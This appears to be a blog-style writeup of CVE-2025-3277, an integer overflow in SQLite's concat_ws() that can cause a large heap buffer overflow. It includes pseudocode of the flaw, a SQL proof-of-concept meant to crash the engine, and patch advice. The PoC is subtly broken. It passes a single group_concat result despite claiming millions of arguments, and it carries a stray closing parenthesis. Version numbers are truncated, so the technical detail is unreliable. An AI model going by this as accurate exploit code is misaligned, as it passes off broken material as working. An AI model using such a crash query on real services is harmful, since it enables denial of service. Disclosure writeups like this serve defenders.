CVE-2025-3277 is a newly discovered and critical vulnerability in SQLite, one of the world’s most widely deployed database engines. Specifically, the flaw lies in the implementation of the concat_ws() function, introduced in SQLite 3.35.. Due to a classic integer overflow, an attacker can trigger a wild heap buffer overflow of up to 4GB, potentially allowing for arbitrary code execution.

This post explains the vulnerability in simple terms, walks through a proof-of-concept (PoC) exploit using SQLite, shows relevant code snippets, and links to original references for further research.

The concat_ws() function is used to concatenate strings using a specified separator. For example

SELECT concat_ws('-', '2025', '04', '11');
-- Output: 2025-04-11

1. The Integer Overflow

At its core, this vulnerability is a type of integer overflow. When concat_ws() is instructed to merge a very large number of strings, its internal buffer size calculation can exceed the maximum representable integer (UINT32_MAX or INT_MAX), causing a value wrap-around back to a small positive integer.

Example Simplified in Pseudocode

// Pseudo-code for buffer allocation in vulnerable concat_ws()
int total_length = separator_length * (num_args - 1);
for (arg in args) {
    total_length += strlen(arg); // Vulnerable: can overflow
}
char *buf = malloc(total_length + 1); // Overflow can cause small allocation
strcpy(buf, ...); // Will write much more data than allocated!

2. The Heap Buffer Overflow

When this happens, only a small buffer is allocated (maybe just a few bytes), but the function will still attempt to write the full, _original_ (potentially multi-gigabyte) string into it. This leads to a heap buffer overflow of up to approximately 4GB (the size wraparound of a 32-bit signed integer).

3. Arbitrary Code Execution

A 4GB overflow is typically enough to reliably smash adjacent heap structures, function pointers, or heap metadata, even in the presence of modern mitigations. With careful heap grooming, this can be leveraged by attackers to achieve arbitrary code execution, possibly escaping sqlite3 sandboxes.

Proof of Concept (PoC) SQL Exploit

Below is a minimal SQL exploit example that demonstrates the crash (do not run on a system you care about!):

-- This works on SQLite >=3.35. with concat_ws()
/* Idea: feed concat_ws() a massive number of arguments to force overflow */
SELECT concat_ws('', 
    -- Generate enough arguments
    -- The following uses recursive CTE to create millions of items
    (SELECT group_concat('A', '') FROM (
        WITH RECURSIVE
            cnt(x) AS (VALUES(1) UNION ALL SELECT x+1 FROM cnt WHERE x < 16777218)
        SELECT x FROM cnt
    ));
);

On Linux, running this using the sqlite3 CLI might output

Segmentation fault (core dumped)

Repeatable, easy DoS — with reliable exploitation in capable hands.

Analysis

- The root cause is not validating that the computed size fits into 32-bits (or whatever the system uses on that build).

No hard limit on the number of input arguments or accumulated string length.

- This affects all applications using vulnerable SQLite and its concat_ws() function, including Python (via sqlite3), Node.js, etc.

- Upgrade SQLite once patches are available. Follow advisories on the official site

- SQLite Download Page
- SQLite Changelog

References

- Original SQLite concat_ws() Documentation
- Technical writeup at oss-fuzz (TBD)
- Common Weakness Enumeration: CWE-190 (Integer Overflow or Wraparound)
- SQLite Security Advisories

Conclusion

CVE-2025-3277 is a prime example of how subtle bugs in new string functions can lead to severe memory corruption, even in mature codebases like SQLite. Watch for upstream patches and apply them quickly.

If you operate any publicly accessible service using SQLite, assume that attackers may already be probing for this bug. Mitigate immediately!


Disclaimer: This post is for educational and defensive research purposes only. Never run PoC exploits on production environments. If you discover related issues, please responsibly disclose them to SQLite’s maintainers.

Timeline

Published on: 04/14/2025 17:15:27 UTC
Last modified on: 05/27/2025 14:42:04 UTC